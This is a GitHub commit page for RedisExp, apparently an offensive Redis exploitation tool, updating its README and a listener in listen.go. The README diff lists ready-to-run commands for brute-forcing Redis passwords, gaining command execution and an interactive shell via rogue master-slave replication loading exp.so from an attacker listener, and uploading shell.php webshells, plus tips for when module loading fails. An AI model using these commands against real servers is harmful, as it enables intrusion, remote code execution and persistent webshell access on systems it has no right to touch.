Skip to content

Commit

Permalink
0.0.3
Browse files Browse the repository at this point in the history
  • Loading branch information
yuyan-sec committed Aug 2, 2023
1 parent a63d8b3 commit 75dbede
Show file tree
Hide file tree
Showing 2 changed files with 15 additions and 3 deletions.
16 changes: 14 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -29,12 +29,12 @@ RedisExp.exe -r 192.168.19.1 -p 6379 -w 123456
爆破 Redis 密码:
RedisExp.exe brute -r 192.168.19.1 -f pass.txt
主从复制执行命令 (默认是交互式 shell):
主从复制执行命令 (默认是交互式 shell)(Redis版本 4.x - 5.x):
RedisExp.exe rce -r 192.168.19.1 -L 127.0.0.1 -c whoami (单次执行)
RedisExp.exe rce -r 192.168.19.1 -L 127.0.0.1
RedisExp.exe rce -r 192.168.19.1 -L 127.0.0.1 -f exp.so (Linux)
主从复制文件上传 (windows 中文需要设置gbk):
主从复制文件上传 (windows 中文需要设置gbk)(Redis版本 4.x - 5.x):
RedisExp.exe upload -r 192.168.19.1 -L 127.0.0.1 -d c:\\中文\\ -f shell.php -F shell.txt -g
RedisExp.exe upload -r 192.168.19.1 -L 127.0.0.1 -f shell.php -F shell.txt
Expand Down Expand Up @@ -66,6 +66,18 @@ RedisExp.exe gopher -f 1.txt



### 报错

```
工具报错:[ERR Error loading the extension. Please check the server logs.] module load /tmp/exp.so
服务端报错:Module /tmp/exp.so failed to load: It does not have execute permissions.
```

有可能是 Redis 版本太高, exp.so 没有执行权限导致加载不了。具体需要查看服务端的报错



### 参考

本工具基于大量优秀文章和工具才得以~~编写~~ 抄写完成,非常感谢这些无私的分享者!
Expand Down
2 changes: 1 addition & 1 deletion pkg/listen.go
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@ import (
// Listen 开启TCP端口
func Listen(lhost, lport string, payload []byte) error {

addr := fmt.Sprintf("%v:%v", lhost, lport)
addr := fmt.Sprintf("0.0.0.0:%v", lport)
//fmt.Println(addr)

var wg sync.WaitGroup
Expand Down

0 comments on commit 75dbede

Please sign in to comment.